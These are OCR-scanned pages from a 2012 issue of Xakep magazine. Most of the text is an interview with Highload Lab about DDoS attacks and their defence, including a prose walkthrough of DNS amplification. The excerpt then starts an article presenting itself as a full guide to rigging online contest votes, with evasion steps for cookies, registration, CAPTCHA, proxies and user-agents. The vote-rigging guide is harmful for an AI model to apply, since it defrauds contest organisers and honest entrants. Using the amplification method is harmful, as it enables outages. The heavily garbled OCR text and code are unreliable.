не смогла, а не пожелала бороться с атакой.

Ее представители сказали, что это не их про­

блема.

Буквально за ночь мы переосмыслили

структуру приложения и перестроили его.

Ресурс поднялся, но атака перестала рабо­

тать на уровне приложения. Злоумышленники

перевели атаку на сетевой уровень, в резуль­

тате чего отключилась вся сеть компании,

предоставляющей хостинг. Тогда уже она

пришла к нам с просьбой сделать что-нибудь.

На вопрос «а что сделать-то?» последовал

ответ: «Ну договоритесь как-нибудь, вы же

знаете, кто вас атакует». Мы, естественно,

не знали и договориться не могли. Да и как

договариваться с террористами?

Компания, которая, казалось бы, должна

заботиться о клиентах, не сделала ничего.

ХАКЕР 02 / 157/ 2012

Page 27: Xakep 02_2012

Борьба с DDoS-ОМ глазами Highload Lab

АЛЕКСАНДР ЛЯМИН

БОРЬБАС DDOS-OM ГЛАЗАМИ HIGHLOAD LAB

и не п отому, что она плохая и хостинг некаче­

ств е нны й , а потому, что она не могла ничего

сделать .

Самые популярные DD05-атаки - это,

конечно, атаки, организованные с помощью

ботнетав . Это доступный способ сделать атаку

распределенной.

Стоимость атаки сильно зависит от того, как

она реализуется. Исполнителем может вы­

ступать студент, который сам что-то написал

и готов поработать за пиво, а может и органи­

зо ваннаягруппировка.

Есть типы атак, которые могут стоить,

по слухам, полмиллиона рублей и больше. Мы

выделяем атаки базового типа: до пяти тысяч

батов, проведение на уровне приложения,

одна стратегия. Для исполнителя тут нет ни­

чего сложного - получил WMZ, нажал кнопку, пошел пить пиво . Это стоит примерно $30-100 в сутки . Но есть и атаки другого рода, когда

видно , что работает команда, и работает она

24/7 - на результат. Если у нее не получается добиться результата , она постоянно пере­

ключает режимы атаки, меняет стратегию,

пытается найти уязвимое место и прорваться .

Конечно, такое стоит далеко не $100 в сутки.

Россия выделяется среди других стран гораз­

до более изощренными атаками. Европейцы

в шоке от того, насколько сложны наши атаки.

Например, к нам недавно обратилась одна

компания, которая работает на российском

ХАКЕР 02/157/2012

рынке, но все ее информационные структуры

расположены в одном из ведущих европейских

дата-центров. Когда компания к нам обрати­

лась, дата-центр испытывал серьезные про­

блемы и был недоступен . Мы подготовились

к приему компании на своей сети и прогрели

карантинное оборудование, ожидая чего-то

экстраординарного, ведь дата-центр « умер " !

Каково же было наше удивление, когда мы

увидели, что, хотя атака проводится на уровне

выше среднего, она не представляет собой

ничего особенного .

Законодательство крайне слабо в вопросах

привлечения к ответственности за DD05, иэ-за чего злоумышленники чувствуют себя

фактор безнаказанными. Для квалифициро­

ванного программиста проведение DDoS-атак

на заказ становится абсолютно безопасным

прибыльным делом, доход от которого может

превышать текущие зарплаты на рынке в де­

сятки раз.

Мотивы для DD05 - это, как правило, деньги

и просто личная неприязнь. Dе facto мы живем в информационном обществе. Скорость рас­

пространения информации влияет на него

прямым образом. Заблокировав источник

информации, можно необратимо повлиять

на общество. Соответственно, DDoS - это эф­

фективноесредствоблокировки какого-либо

источника информации на необходимое время .

в качестве при мера можно привести сайт

510п.гu. Сайт работал , всё грузилось, но атака

не спадала . Такие атаки называют комбиниро­

ванными. Когда они к нам пришли, она велась

на сетевом уровне, на полосу . Когда злоу­

мышленники увидели, что заполнение полосы

вообще не дает результата, началась атака

аррliсаtiоп-уровня. В ботнет, использовавший­

ся для проведения атаки , входило порядка

200-270 тысяч ботов .

Наиболее подвержены DD05-атакам доста­

точно узкие направления интернет-бизнеса

с высокой конкуренцией. Хороший пример -пиратские клоны Liпеаgе 11. Такие сервисы -вообще отдельная история, ведь они являются

чисто коммерческими . Если в два часа ночи

к тебе в Ica стучится кто-то и, допустив восемь орфографических ошибок в четырех пред­

ложениях, требует 'Н, чтобы ты немедленно ему помог, можно не сомневаться, что это он!

Администратор пиратки Lineage!

DD05-атакам подвергаются и те сайты, где

трудно их ожидать. У нас, например, есть

такой внутренний мем - «кедровые бочки».

Онлайн-магазин, который, не поверите, про­

дает кедровые бочки, подвергся серьезной

DDoS-атаке. Это очень узкий, высококонку­

рентный вид деятельности, которая, видимо,

приносит хорошую прибыль .

Т ЕХНИЧЕСКАЯ СТОРОНА 0005 Зачем вообще нужно классифицировать ата­

ки? Чтобы понять, разложить по полочкам их

механизм работы и предпринять адекватные

контрмеры.

025

Page 28: Xakep 02_2012

COVERSTORY Наши коллеги по цеху пытаются как-то клас­

сифицироватьатаки. На одном сайте можно

найти и ICMP spoof, и DNS amplification, и ТСР SYN flood, ТСР RST flood - парни перечисляют

техники проведения атак. Много страшных

букв, которые для обычного пользователя ни­

какого смысла не несут. Такая классификация

нас не устраивает.

Мы классифицируем атаки очень просто:

атаки на приложения, атаки на канальную

полосу [скорость измеряется в гигабитах/сl , атаки на сетевую инфраструктуру [скорость из­меряется в пакетах в ceKYHAyl, атаки на транс­портный уровень [стек TCP/IPI.

Самая мякотка - это уровень приложения.

Почему? Потому, что у атак уровня приложения

плечо максимально. Плечо атаки - это отно­

шение ресурсов, необходимых на стороне ата­

кующих, к ресурсам , необходимым на стороне

приложения [на стороне защищающихсяl .

Возьмем какой-нибудь средний интернет­

магазин. Можно найти ссылку, обычную ссыл­

ку, определенное количество обращений в се­

кунду к которой убьет этот магазин напрочь.

Таких приложений много, и для того чтобы их

убить, иногда и ботнет не нужен -достаточно

сотового телефона даже не с EDGE, а с GPRS. Четыре-пять запросов в секунду, и приложение

выкидывается в outflow и не может выйти отту­да до перезагрузки сервера . Этим обусловлена

популярность атак на уровне приложений .

Еще есть транспортный уровень - атаки, на­

правленные на сам стек ТРС/lР. К этому типу относятся атаки типа SУN-флуд, RSТ-флуд или

FIN-way- модная сейчас атака с некоррект­ным закрытием соединения, которая, кстати,

тоже эксплуатирует уязвимость спецификации

протокола, а не реализации.

К наиболее популярным методикам относится

DNS amplification. Достаточно найти любой сетевой сервис IDP based без handshake, послать пакет размером N с фальсифициро­ванным источником и в ответ получить пакет N х К. В таком случае для реализации распреде­

ленной атаки нужно иметь список IP-аАресов ,

на которых есть эти сервисы, один очень

хорошо подключенный сервер на гигабите ,

который выдаст набор па кетов в эти «отра­

жатели» с поделанным IP-аАресом жертвы.

Пакет отправится к жертве и снизит до нуля ее

пропускную способность и выведет ее из ра­

бочего состояния. Речь идет о сервере DNS - UDP 53, где можно сделать такую штуку, как рекурсивный запрос по зоне. Сам по себе он

небольшой, а вот ответ на него будет длинным.

Чтобы дополнительно увеличить коэффициент

К атаки, достаточно «подкормить» эти сервера

каким-нибудь большими фальшивыми домен­

ными зонами. Получая их рекурсивно, с под­

дельным адресом жертвы, можно увеличить К

в разы . Второй вариант - это NTP, протокол синхронизации времени, который тоже имеет

026

уязвимости подобного рода при плохо сконфи­

гурированных серверах.

Атака типа SУN-флуд появилась одновременно

с ТСР-протоколом. Первое упоминание о ней я

встретил, по-моему, в 1982 году. Как ни странно, она эффективна по сей день. История разви­

вается по спирали. Сто-пятьсот SУN-запросов

в секунду - это, конечно, этап давно пройден­

ный. В настоящее время при наличии достаточ­

ных процессинговых мощностей можно легко

превзойти и цифру в 1 О млн пакетов в секунду.

в момент отправки пакета с запросом

на соединение партнер должен сгенерировать

sеquепсе-номер [а это требует вычислений, так

как он должен быть случайным, криптостойким

числомl и создать в своем стеке определенною

запись. На это нужны ресурсы, ресурсы и еще

раз ресурсы. На то, чтобы послать пакет, сге­

нерировав его трафик, требуется существенно

меньше ресурсов, чем на действия, выполняе­

мые на стороне сервера . Получаем плечо атаки.

Проблема существует внутри самого протоко­

ла, в его спецификации. Когда разрабатывал­

ся TCP/IP-стек, никто не думал, что интернет разрастется до таких масштабов по количе­

ству узлов, достигнет таки х скоростей и, что

немаловажно, будет прокачивать через себя

столько денег.

Существуют атаки, которые не используют

ботнеты. Распределенную атаку можно про­

вести и с помощью механизма отражения.

Классика жанра - атаки DNS аmрlifiсаtiоп с отражением и увеличением мощности.

Атаки на инфраструктуру затрагивают всё,

что лежит вокруг сетевой инфраструктуры:

протоколы маршрутизации и само оборудова­

ние, если менеджмент-модули имеют откры­

тый IP-аАрес.

Что такое атаки на сетевом уровне? Просто

залить полосой в 56 Гбит - это clustery sort называется. Это последнее средство, когда

ничего уже не помогает. Такие атаки очень до­

роги и чрезвычайно разрушительны не только

для самой жертвы, но и для всех, кто «стоит

рядом» . Как правило, они не могут продол ­

жаться дольше двух-трех суток, так как начи­

нают доставлять проблемы даже источникам

атаки - сетям, с которых она производится.

Базовые атаки, совершаемые с помощью

ботнетов, которые насчитывают около 200 ботов И ничего, кроме «get корень » , не умеют,

в принципе не должны представлять собой

проблему для грамотно написанного ресурса.

О ЗАЩИТЕ ОТ DDOS От любой атаки можно защититься. Мы в этом

не сомневаемся .

Обычно, когда на клиента начинается DDoS­атака, хостер не находит ничего умнее, чем

просто отключить его , так как боится, что по­

лягут и другие его клиенты.

Когда к нам приходит клиент, мы объясняем,

что ему необходимо перевести DNS на наш IP-аАрес [которой мы ему выделяемl. Также,

чтобы избежать атаки на прямой IP клиента, который уже засвечен в сети, необходимо его

как минимум поменять, а как максимум - по­

менять этот IP и дополнительно скрыть с по­мощью настроек iptabIes или файервола все IP-аАреса , кроме наших.

Как только перестраивается DNS, начинает­ся фильтрация. А дальше происходит самое

интересное - обучение фильтров. Обычно мы

задаем для себя планку: после двух часов под

ата1<ОЙ ресурс клиента должен начать рабо­

тать . И в целом ее выдерживаем.

Система защиты нашего сервиса Qrator основана на множестве математических по­

строений. Как обычно отвечает Яндекс на во­

прос «а как у вас поиск устроен? » ? Да просто!

Берем текст, токенчики, разделители, строим

индескы, ранжируем . У нас примерно то же

самое, только мы решаем задачу по анализу

и фильтрации трафика. Ее решением занято

множество людей.

Поведенческий анализ - один из наиболее

эффективных методов фильтрации трафика.

Мы рассматриваем сайт как дерево перехо­

дов. В узлах дерева находятся странички, а в

ребра мы закладываем вероятность перехода

и задержку при переходе. В основе лежит

тот простой факт, что роботы и люди видят

веб-страницы по-разному. Когда времени

на обучение достаточно, люди «натаптывают»

В зтих переходах определенные уплотнения

-тропинки . Всё посетители, которые из них

выпадают, с той или иной вероятностью явля­

ются роботами . Вроде бы всё просто. С другой

стороны, если прикинуть, какие объемы па­

мяти и вычислительные ресурсы понадобятся

для обработки, ты поймешь, что, наверное,

при текущих вычислительных мощностях зто

не так-то просто.

Если клиент приходит к нам уже под атакой,

обучаться на атаке .. . не невозможно, но слож­

но. Часто это требует мониторинга со стороны

инженера. Именно поэтому за подключение

под атакой мы вынуждены брать некоторую

дополнительную плату.

Мы рекомендуем подключаться к нашей сети

до DDoS-атаки. Конечно, мы стараемся мини­

мизировать время обучения под атакой . У нас

оно составляет не неделю, как у Cisco Guard [это наш железный конкурент, который снят с производстваl, а всего несколько часов.

Любой, кто скажет, что false positive у него ноль, - шарлатан. Ложные срабатывания

[когда в черные списки попадают легитим­ные посетителиl, к сожалению, неизбежны.

ХАКЕР 02 /1 57/ 201 2

Page 29: Xakep 02_2012

Хотя бы потому, что есть прокси, есть NAT'bI, есть просто люди, которые ведут себя не как

обычные пользователи. Классический при мер

- администраторы саЙтов. Администратор

может нагрузить сервер, как 30, 40 и даже 100 пользователей.

к Cisco Guard у нас была одна претензия: когда к нему подключаешь атакуемый сервис,

то независимо от того, есть там инженер или

нет, первые сутки сервис работает так, что

лучше бы он не работал вообще. Отсюда стало

ясно, что от 0005-атак невозможно защищать

на прикладном уровне, не понимая семантику

протокола приложения. Семантический анализ

обязателен, как и поведенческий.

Мы отчетливо понимаем, что «серебряной

пули нет»: то, что будет хорошо работать в одних ситуациях, не будет работать в дру­

гих . Классификатор Qrator - это сложный

набор алгоритмов, которые образуют систему

голосования . Инструментарий мы стараемся

развивать и дописывать и, надеюсь, найдем

еще какие-нибудь эффективные методы в бли­

жайшее время. Кое-какие задумки уже есть.

Примерно в один миллион долларов обой­

дется железка от АгЬог, способная почистить

10 Гбит. Плюс человек, плюс канальные емкости ... При этом атаки скоростью выше 10 Гбит/с мы наблюдаем примерно раз в месяц­полтора.

Мы склонны выделять два типа полос: актив­

ные и пассивные. В активноц полосе можно

терминировать и проанализировать любое

ТСР-соединение и принять по нему решение.

Полоса пассивная - зто полоса, для управле­

ния которой нужно задать бит- маску, по ко­

торой будет резаться трафик. Таким образом,

что-то интеллектуальное там порезать нельзя .

Если говорить об активной полосе, то почти

все наши поставщики трафика при необходи­

мости блокируют UOP с определенного адреса, все ICMP или ICMP по определенной сигнатуре. На такой полосе мы спокойно проживали 57 Гбит. Уверены, что можем проживать и больше.

Такие атаки не вызывают особых проблем,

кроме необходимости оплачивать эту полосу,

то есть мы говорим о цифре более 100 Гбит для пассивной полосы . Как следует из ситуации

с 0005-атаками на российском рынке, зтого

вполне достаточно.

Преимущество Qrator IKaK сервисаl перед купленным АгЬог состоит в том, что наше ре­

шение не является точечным. Сеть построена

по BGP-АпуСаst, мы выбираем для установки

точек исключительно магистральных опера­

торов. Мы не ставим точки на pubIic exchange просто потому, что это не гарантирует качества

сервиса . Сеть развивается благодаря нашим

собственным алгоритмам моделирования. Мы

строим ее так, чтобы можно было распреде­

лять нагрузку на злементы сети более-менее

равномерно .

ХАКЕР 02/157/2012

Внутри точки присутствия система тоже мас­

штабируема. Точка - это не одна «железка»,

ИХ несколько. Есть карантинное оборудова­

ние, на которое «приземляются» некоторые

атаки.

Мы создали модель, позволяющую мате­

матически рассчитать, как распределит-

ся трафик по интернету при появлении

определенных анонсов BGP. Это позволя-ет нам гармонично развиваться и строить сеть,

которую действительно можно балансировать

по узлам.

Мы не завязаны на одного оператора связи

и стараемся распределять риски по всем опе­

раторам, с которыми работаем.

Мы долго пытались разобраться с ТCP/IP­стеком, смотрели на Free В50 и Linux и в итоге пришли к выводу, что стек в его теперешнем

состоянии нам совершенно не нравится.

У нас есть своя облегченная версия TCP/IP, которая очень хорошо себя ведет на текущих

короткоживущих протоколах, быстрых ТСР­

соединениях.

КОГДА

РАЗРАБАТЫВАЛСЯ

TCP/IP-CTEK, НИКТО НЕ ДУМАЛ,

ЧТО ИНТЕРНЕТ

РАЗРАСТЕТСЯ

ДО ТАКИХ МАСШТАБОВ

Мы не скрываем, что узел фильтрации рабо­

тает под управлением Linux. Линкус - зто

такой контейнер, в котором осуществляется

управление платформой и выполняются мате­

матические преобразования, необходимые для

поведенческого анализа. Существенная часть

ТСР-стека живет в самой ТСР-карте, позтому,

собственно, у нас получились такие хорошие

показатели скорости\обработки пакетов. Один наш узел фильтрации в состоянии перелопа­

тить 6 Гбит трафика.

От атак базового уровня защититься можно.

Для этого нужно обязательно иметь выделен­

ный хостинг, а также возможность скомпилиро­

вать модули и свою версию веб-сервера. Статей

на зту тему написано много, и я, наверное,

отошлю вас к своей статье 2008 года Iнайти ее можно в блоге на highloadlab.rul. Это одна из первых статей, в которой доступно изложено,

что и как следует сделать. Также рекомендую

ознакомиться с презентацией «Практическое

Борьба с OOOS-OM глазами Highload Lab

руководство по выживанию в 0005», которую мы показывали на Highload++ в 2009 году.

Мы пытались писать статьи на Хабре и рас­

сказывать на отраслевой конференции, как

самостоятельно защититься от атак базового

уровня . Но, к сожалению, зто не возымело

никакого эффекта.

1,IИ,iilii'tt4 DDoS - это один из способов монетизации

ботнета, но далеко не самый прибыльныЙ. Еще

есть спам, фрод, скликивание рекламы и так

далее.

я перечислил свойства ботнета на слайде для

одной достаточно старой презентации. Когда

я делал тот слайд, он казался мне абсолютно

правильным:

1. Жадность. Ботнет старается нанести при­

ложениям как можно больше вреда за еди­

ницу времени.

2. Ущербность . Ботнет не являет браузером.

Это некий НТТР-стек, встроенный в червь .

Как правило, он не умеет ставить коррект­

ные заголовки, не обладает J5-движком

или обладает в ограниченном виде.

3. Самосохранение. Ботнет- ценный ресурс,

и любые действия, приводящие к сокраще­

нию его размера приносят прямые финан­

совые убытки атакующим. Ботнет старается

не производить действий, которые могли

бы его демаскировать и отразиться на ма­

теринскоЙсистеме.

4. Транснациональность. Ботнеты раскиданы по всему «шарику».

5. Конечность.

Пару лет назад мы первый раз увидели

медленный ботнет, который не был жадным ... Он делал один абсолютно легитимный запрос

раз в пять минут. Мы удивились, но при зтом

ботнет, насчитывавший 75 тысяч ботов, всё же доставлял проблемы. Попробуйте-ка отфиль­

тровать ЭТО.

Сейчасизвсехпунктов,перечисленных

выше, остался только один - желание

ботнета самосохраняться. Ботнеты уже давно

не жадные, не тупые и не ущербные. Сейчас

мы имеем дело с полноценными минимизиро­

ванными веб-браузерами с Jаvа-скриптами,

редиректами, cookies.

Раздать команды членам 20-тысячного бот­

нета с учетом того, что инициатором соедине­

ний является сам бот, - задача не самая три­

виальная. Как правило, контрольные панели,

к нашему удивлению, пишутся на том же самом

LAMP 5tack ILiпuх, Apache НТТР 5erver, My5QL и PHPI. До 2010 года разворачивание ботнета­пятитысячника в направлении ресурса жертвы

занимало 30-40 минут.

в 2010-м управление ботнетами начали орга­

низовывать с помощью Р2Р. Ребята стали про­

сто супербыстро раздавать команды : в течение

027

Page 30: Xakep 02_2012

COVERSTORY пяти-шести минут ботнет, насчитывающий 10-20 тысяч ботов, может распространить команду внутри себя и развернуться на ресурс .

Ботнеты стараются как можно более точно

имитировать поведение пользователей, чтобы

затруднить их обнаружение и фильтрацию, вы ­

деление тела ботнета и блокировку.

в последние три месяца особой популярно­

стью пользуется ботнет MinerBot, который добывает ВitСоiп. Он приходит на титульные

страницы без реферера, случайным образом,

переходит по ссылкам и действительно созда­

ет проблемы для решений вроде Cisco и АгЬог. Они не в состоянии отфильтровать МiпегВоt,

потому что он не обладает ни одним из тех

изъянов, на обнаружение которых ориентиро­

ваны эти решения .

Ботнеты также перестали быть транснацио­

нальными - загрузки легко продают по регио­

нам . Первый раз мы такое увидели в 2009 году, когда к нам «пришел» ботнет на 1500 голов, и все чистое снг.

«Засыпающий ботнет» - так мы называем

довольно модную атаку. Ботнет обнаруживает,

что он весь зафильтрован, раздает команду

и централизовано прекращает атаку. После

этого рандомный член ботнета посылает

тестовые запросы в ожидании, когда фильтр

отключится. Как только он отключается, атака

в течение трех-пяти минут возобновляется в полном объеме. Это опасно тем, что подобная

атака может длиться бесконечно - никаких

ресурсов, с точки зрения ботовода, она не по­

требляет.

Разные ботнеты здорово отличаются друг

от друга. Сама техника атак постоянно меня­

ется.

с ботнетами-миллионниками наблюдается

очень интересная ситуация. В последние не­

сколько лет существенно возросло количество

тех, кто хотел бы обзавестись своим ботнетом.

Простой эксперимент : поставим Windows ХР SP1 на честный IP-аАрес. Сколько он проживет до того, как на него что - нибудь «приземлит­

СЯ», даже если не открывать веб-бразуер?

Максимум пять минут. Есть много команд,

которые борются за увеличения тела ботнета,

а само предложение уязвимых систем крайне

ограниченно. Соответственно, количество

ботнетов растет, а вот их размеры медленно,

но верно снижаются . Ботнеты уже начинают

пересекаться, то есть один компьютер являет­

ся членом нескольких ботнетов сразу.

Ботнетов на десятки миллионов компьютеров

становится всё меньше и меньше. Ими обла­

дают совсем уж джедаи. :1

у нас нет возможности делать реверс­

инжиниринг кода ботнета, потому что

у нас нет административных возможностей

028

по изъятию его тела и, самое главное, у нас

нет своих специалистов, способных делать

обратный инжиниринг кода, ориентированного

на Wiпdоws-системы.

О HIGHLOAD LAB Идея заниматься DDoS-атаками возникла

у нас еще в МГУ. Мы посмотрели, как обстоят

дела с устойчивостью к внешним воэдействи­

ям у правительственных ресурсов .И с устой­

чивостью веб-приложений в России в целом.

Стало понятно, что наши услуги, скорее всего,

будут востребованы. Ведь отвалившийся

интернет-магазин - это проблема только

его владельца, но отвалившаяся налоговая

инспекция - это проблема всей страны .

Начать исследования - это была моя личная

инициатива . Универс.итет предоставил инфра­

структуру, я на свои деньги закупил оборудо­

вание.

в 2008 году у нас возникла идея. В 2009 году появилась бета - версия продукта, которую мы

обкатывали в режиме открытой беты большую

часть 2010 года. Мы принимали у себя на пло­щадке любой терпящий бедствие проект.

Стало ясно, что с этой задачей мы справляемся

неплохо, даже располагая ограниченной уни­

верситетской инфраструктурой. Мы, к примеру,

помогли газете «Ведомости». Было здорово. :1

к коммерциализации нас подтолкнула необхо­

димость: в июне 2010 года, когда максимальная емкость университетской сети составляла 10 Гбит, на нас упала атака в 12,5 Гбит. Атака по­казала, что фильтры справляются, и мы легко

сможем преодолеть и более мощную атаку,

но нужны канальные емкости. Это ценный и до­

рогой ресурс, но проигрывать тоже не хочется .. . У нас были какие-то свои накопленные сред­

ства, на которые и были эакуплены канальные

емкости. Также было закуплено дополнитель­

ное оборудование.

Нам повезло с запуском - у нас был замеча­

тельный стресс-тест. То есть 1 сентября я по пла­ну как раз поставил последнюю точку входа, а 2 сентября к нам пришел Хабрахабр под атакой 6 Гбит. Мы получили бесплатный стресс-тест.

Трафик - это одна из наших главных статей

расходов. Его тратится не просто много, а очень

много.

Компания работает в нескольких направле­

ниях: мы разрабатываем на заказ высокона­

груженные веб-приложения и консультируем

по вопросам их создания. Второе направление,

самое перспективное для нас, самое динамич­

но развивающееся, - это наш «коробочный»

продукт, система фильтрации трафика Qrator. В него мы инвестируем практически всё, что

зарабатываем.

На данный момент в нашей компании работа­

ет 12 человек. В нетехнический штат входят

восемь инженеров и четыре других сотрудни­

ка . Двое из них внештатники из Москвы. В на­

чале года, если всё пойдет хорошо, мы хотим

пригласить в компанию еще двух инженеров.

Так же как и Яндекс, мы ищем математиков,

которые могут программировать, работать

с данными !структурированным и плохо струк­турированнымиl.

к сожалению, мы не занимаемся реверс­

инжинирингом, но видим, что каждая атака

имеет свою сигнатуру и логику.

Мы существуем у'же год. Это был не самый

легкий год . В какие-то моменты было очень тя­

жело и финансово, и морально. Но за это время

мы выяснили, какие вопросы воэникают при

эксплуатации сервиса, поняли, как формиро­

вать тарифную стеку. Поскольку услуга новая,

никто не знает, как ее продавать. Все предло­

жения на рынке имеют те или иные изъяны.

Highloadlab прибыльна. В этом году мы плани­руем проводить серьезные технические раз­

работки - будем строить новую версию своих

специализированных сетевых процессоров

- и активно развивать партнерство со всеми

заинтересованными компаниями: хостинг­

компаниями, телекомами.

Одна из наших целей - обеспечить защиту

для мелкого бизнеса. Это самая незащи­

щенная от атак прослойка. Многие компании

берут за эащиту от DDoS-атак от 50- 100 тысяч, и, если мелкий бизнес столько заплатит, он

разорится. Для предприятий малого бизнеса

у нас есть специальный тариф - 5000 рублей. Но это не значит, что по более низким расцен­

кам мы работаем хуже. На всех наших тарифах испольэуется одна и та же система, качество

фильтрации везде одинаково.

Мы предельно аполитичны. Во время выборов

нашими клиентами были «Слон», New Times, golos.org, «Эхо Москвы», «Новая газета» СПБ, Forbes, PubIic Post, «Ведомости» .. . В общем, мы приняли под свое крыло всю оппозицию.

Но даже с большим удовольствием мы бы по­работали с тем же ЦИК. НО ЦИК к нам не при­

шел.

Единственный критерий для нас - ресурс

должен обязательно соблюдать все законы.

Мы принципиально не связываемся с сайтами,

содержащими пиратский контент, имеющими

нацистскую или порнографическую направ­

ленность, с фарма-партнерками и прочей

интернет-грязью.

Мы подумали, что если бы нам удалось соз­

дать систему, построение и функционирова­

ние которой обходилось бы дешевле, чем про­

ведение атаки, способной убить эту систему,

то мы бы ликвидировали экономическое плечо

атаки. Атаковать стало бы невыгодно. Исходя

из этого, мы и строили идеологию развития на­

шего решения. I

ХАКЕР 02/157/2012

Page 31: Xakep 02_2012

Формула DDoS в прошлом году для многих стал ясен неожиданный факт: если какой-то сайт нужно

положить, то это вполне можно устроить. (колько DDoS-атак устроивается за год

и насколько они эффективны - разбираемся с ц)t1фрами от Highloadlab.

~--------------------------------~ ~--------------------------------~) v

1861 ботов - средний размер

ботнета

56 Гбит/с - максималь­

ная

мощность

атаки

DDoS - это метод

конкурентной

борьбы

'ДАННЫЕ НА СЕРЕДИНУ ДЕКАБРЯ 2011

ХАКЕР 02/157/2012

Компоненты DDoS-атаки производимый

эффект

Статистика DDoS-атак в 2011 году .... . ...... . ........................... .. .. ... .................. .. Какие цели

Всего было 1905 атак

Самые мощные атаки

486 Ч. - максимальная

продолжительность

атаки

340 атак без ботов

239 991 - количество

ботов с самом большом

ботнете

Кого чаще всего DDoS-ят?

Самые продолжительные

атаки были на магазин

кедровых бочек :)

Наибольший суммарный

трафик - магазин

магнитны х игрушек

I

34 атаки мощностью

выше 1 ГБ/с

Атаки по месяцам:

Январь 437

Февраль 392

Март 303

Апрель 87

Май 22

Июнь 85

Июль 103

Август 89

Сентябрь 52

Октябрь 85

Ноябрь 143

Декабрь 107'

у атакующих?

реклама

политика

убеждения

деньги

029

Page 32: Xakep 02_2012

СОУЕ RSTO RY Iqbzl

ак нак тить

миллион ПОЛНЫЙ гид ПОНАКРУТКЕ ОНЛАЙН-ГОЛОСОВАНИЙ Конкурсы с голосованием­

модный тренд . Они привлекают

большое количество

посетителей, а трафик, как

известно, это деньги. Особый

интерес вызывают конкурсы,

где за победу предлагаются

лакомые призы. В этой статье

я хочу рассказать о довольно

своеобразном способе участия

в подобных опросах.

030

На нашем диске ты найдешь все скрипты и функции,

описанные в статье.

ПРЕДЫСТОРИЯ Как-то раз, глубокой ночью, когда все нормальные люди уже спят,

я сидел и о чем-то яростно дискутировал с другом в аське . В этот

момент ко мне постучался клиент, который предложил плевую,

на первый взгляд, задачу, суть которой заключалась в накрутке

определенного количества голосов в одном онлаЙн-голосовании.

Само голосование проходило за лучший короткометражный автор­

ский фильм. Уже имея опыт накручивания всевоэможных счетчиков,

я сначала подумал, что потребуется набросать очередной скрипт

из пары запросов на cURL, проходящих череэ прокси-сервер .

Сомнения закрались, когда я увидел главный приз конкурса - один миллион рублей.

Тут мне стало интересно , к каким методам защиты от накрутки

прибегла администрация сайта при таком существенном спонсиро­

вании. Ниже - мой отчет о том, как я последовательно решал про­

блемы, необходимые для реализации эффективного накрутчика .

IMJ:J'11I1 Сразу предупрежу, что в подобных голосованиях отслеживается IP-аАрес каждого запроса, но подробно рассматривать это проблему

мы не будем.

Существует довольно много способов добыть свежие прокси , а с

технической точки зрения смена прокси для выполнения нового за­

проса решается всего одной строкой с cURL:

ХАКЕР 02/157/2012

Page 33: Xakep 02_2012

Разработку накрутчика всегда стоит начинать с разведки.

Я решил не изменять этому правилу и, прежде чем голосовать,

запустил свой снифер. Для идентификации нас как уникального

посетителя сайт сначала ставил в куки банальную сессию. Затем

ресурс предлагал указать возраст для подтверждения совершен­

нолетия !скорее всего, потому, что некоторые фильмы были « для

взрослых»l. Посмотрим на зто с точки зрения накрутки: скрипт каждый раз

проверяет дату рождения, поэтому было бы глупо производить на­

крутку с тысяч IP-аАресов с одинаковой датой рождения. А значит,

первое, что мы должны предусмотреть, - это граббинг сессии

и рандомную генерацию даты рождения в cookie . Для этого в самом начале нашего скрипта мы объявим глобальную переменную с ра­

нее сгенерирова нной датой в кукисах:

$c.ookie_s.e.~:;:j.Q!J .. = array( .....

);

'BIR1}JDf\Y.=.' , r~nc!( 1 , 29 ). ' . с_' ,.r.<lлd( l , 12). ' .. < .. гапd(;I.9бе>J9S~ » ... 'IS_1!!ЩQJ;J~,,1' , , LANG=eo.' ..... .

Теперь, после того как мы подтвердили, что уже взрослые

дядьки, нам следует зарегистрироваться. П ереходим на страни­

цу регистрации и видим, что нас просят ввести имя, фамилию,

e-mail, на который придет активационный код, и текст с капчи. Данные для первы х двух полей, а именно фамилию и имя, мы тоже

должны генерировать каждый раз разные, так как 20 тысяч голо­сов от Петра Сидорова немного насторожат администратора. :1

Имена и фамилии легко достать в интернете или спарсить

самому с какого-нибудь сайта имен и фамилий. А вот с активаци­

онным кодом и капчей придется повозиться. Хорошо, заполняем

форму, нажимаем «Зарегистрироваться» И топаем на мыло. Там

нас ждет письмо со ссылкой на подтверждение регистрации. По­

сле активации аккаунта нам следует авторизоваться, то есть зай­

ти на страницу авторизации и отправить логин и пароль. При этом

мы получаем в кукисах вторую сессию, отвечающую за доступ

к аккаунту. Затем нужно перейти на страничку видеоролика, ко­

торый мы накручиваем, и нажать кнопочку « Голосовать ». Запрос

передается через Ajax, что немного ускоряет процесс накрутки .

8 принципе, это все. Но не забываем, что на кону целый миллион, поэтому нам нужно учесть все детали и мелочи, чтобы на крутку

нельзя было заметить .

Еf'.1аЙll: ,,, . Гli:'J H11!-r '

Парат) к е~1айлу: (I, !t ' •• 11' 1111':\1. ПаРОI1Ь к сайту: '11.,1,·1'111/'''1 ОТКРЫlие письма (17:37) ... Поиск идентификатора ПОl1ЬЗ0вателя (17 :38) ... Идентификатор пользователя найден: ',1 : Поиск кода акrиваЦflИ (17:38) ... Код активации найден: (I,,·.Y()IIII)! Акrивация регистрации (17:38) ... Загрузка страНfЩЫ успешной активации (1/:38) .. . ПОПЫГКd аВТОРЮОВdП)СЯ (17:39) ... Авторизация ПрОШl1d успешно, загрузка главной страницы (17:39) ...

Г!iРSЕSSID=Ьс8886аЬОа70fсd9с369dбеа8887776d;

BIRTHDAY=9~7 1982; IS 180LDER:-:-l;

Открыгие страницы с видеО'файлом (17:40) .. :-Посылка голоса (17:41) ... Голос послан, ответ систе~1Ы: )11)

1)(lt)()[,!lf< IHII11rl :,!f({!!PU'II,J. fJ(]\Нlн,}f'~,lllШЛ (I!I)I'"I ..

Статус работы накрутчика

ХАКЕР 02/157/2012

Как накрутить миллион

Панель для управления сервисом для распознования САРТСНА'ей

УНИКАЛЬНОСТЬ ЗАГОЛОВКОВ 8 любой накрутчик сразу же хочется добавить многопоточность. Но данный случай, скорее, представляет собой исключение из пра­

вил, и многопоточность нам то.лько помешает. Если проголосо-

вать в одну секунду тысячу раз, а потом весь день не голосовать

вообще, это будет слишком подозрительно. Поэтому мы прибегнем

к поочередному голосованию, во время которого к тому же будем

делать паузы .

8добавок следует отметить, что браузер Iзаголовок User-Agentl тоже нужно генерировать всегда рандомна, так как для пущей

достоверности у всех Ботов должны быть разные «браузеры». Для

этого у меня давно подготовлен скрипт с большим количеством

юзер-агентов, который ждет тебя на нашем диске. Достаточно про­

сто добавить две строки:

